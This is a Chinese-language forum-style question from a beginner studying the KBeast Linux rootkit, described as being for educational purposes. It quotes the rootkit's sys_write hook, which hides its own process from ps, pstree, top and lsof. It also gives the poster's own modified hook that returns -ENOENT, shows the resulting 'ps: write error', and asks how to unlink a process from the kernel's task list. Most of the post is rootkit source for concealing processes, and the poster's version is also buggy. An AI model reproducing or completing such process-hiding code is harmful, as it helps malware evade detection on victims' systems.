我正在尝试了解 rootkit 的工作原理(出于教育目的)。我有Kbeast rootkit 的源代码。从 ps|| 隐藏进程 pstree 等命令它具有以下功能,
asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,buf,255);
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ENOENT;
}
}
r=(*o_write)(fd,buf,count);
kfree(kbuf);
return r;
}
此函数覆盖 sys_call_table [__NR_write]。我的理解是 *buf,包含它试图隐藏的进程的名称。使用 copy_from_user(),将 buf 复制到内核缓冲区 kbuf 中,然后在ps||pstree||...
使用 strstr() 检测到命令时,它会查找 process_to_hide(H4X0R)。然后找到匹配项,释放内核缓冲区 kbuf。我的理解正确吗?
我检查buf的内容。它不包含任何内容,因此它永远不会起作用。
为了使它工作,我做了一些解决方法(不确定这是否是正确的方法,因为我说我是初学者)。我做了以下操作,将进程名称(我试图隐藏的进程)放入buf中,然后使用copy_from_user()将其复制到内核空间中。我有一个看起来像原始 Kbeast 代码的工作代码,
const char *p_name="kbeast";
asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){
long r=1;
r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);
if (strstr(current->comm,"ps")){
struct task_struct *task;
for_each_process(task){
if (strstr(task->comm,p_name)){
//printk("%s [%d]\n",task->comm , task->pid);
buf=task->comm;
__copy_from_user(kbuf,buf,255);
break;
}
}
//printk(KERN_INFO "kBuf %s", kbuf);
if(strstr(kbuf,p_name)){
kfree(kbuf);
return -ENOENT;
}
}
return r;
}
在运行 ps 命令时,它显示以下内容,
PID TTY TIME CMD
10115 pts/2 00:00:00 bash
14560 pts/2 00:00:00 kbeast
14561 pts/2 00:00:00 ps
ps: write error
这里发生了什么?
我在考虑另一种方法,如在task_struct链接列表中包含所有进程名称,如果我能以某种方式从task_struct取消链接目标进程应该可以做到这一点,但我不知道如何做到这一点。